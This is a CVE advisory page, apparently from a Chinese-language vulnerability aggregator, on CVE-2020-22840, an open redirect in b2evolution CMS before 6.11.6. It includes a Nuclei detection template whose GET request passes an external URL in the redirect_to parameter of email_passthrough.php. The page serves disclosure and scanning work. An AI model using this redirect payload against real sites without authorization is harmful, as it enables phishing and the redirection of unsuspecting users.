CVE-2020-22840: b2evolution CMS <6.11.6 - Open Redirect

日期: 2025-08-01 | 影响软件: b2evolution CMS | POC: 已公开

漏洞描述

b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC代码[已公开]

id: CVE-2020-22840

info:
  name: b2evolution CMS <6.11.6 - Open Redirect
  author: geeknik
  severity: medium
  description: b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    This vulnerability can be exploited by attackers to trick users into visiting malicious websites, potentially leading to phishing attacks, malware infections, or unauthorized access to sensitive information.
  remediation: |
    Upgrade b2evolution CMS to version 6.11.6 or later to mitigate the open redirect vulnerability (CVE-2020-22840).
  reference:
    - https://github.com/b2evolution/b2evolution/issues/102
    - http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html
    - https://www.exploit-db.com/exploits/49554
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22840
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-22840
    cwe-id: CWE-601
    epss-score: 0.29266
    epss-percentile: 0.96441
    cpe: cpe:2.3:a:b2evolution:b2evolution:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: b2evolution
    product: b2evolution
  tags: cve,cve2020,packetstorm,edb,redirect,b2evolution

http:
  - method: GET
    path:
      - "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
# digest: 4b0a00483046022100b03aec942ae1d7eeade4245e3ac7747ad8f01f59b7ad75e8b8d310d15c72c056022100c053f7f862d35502791cac9adb5a932cb80dcffc65b16871d01ad4349a72fa18:922c64590222798bb761d5b6d8e72950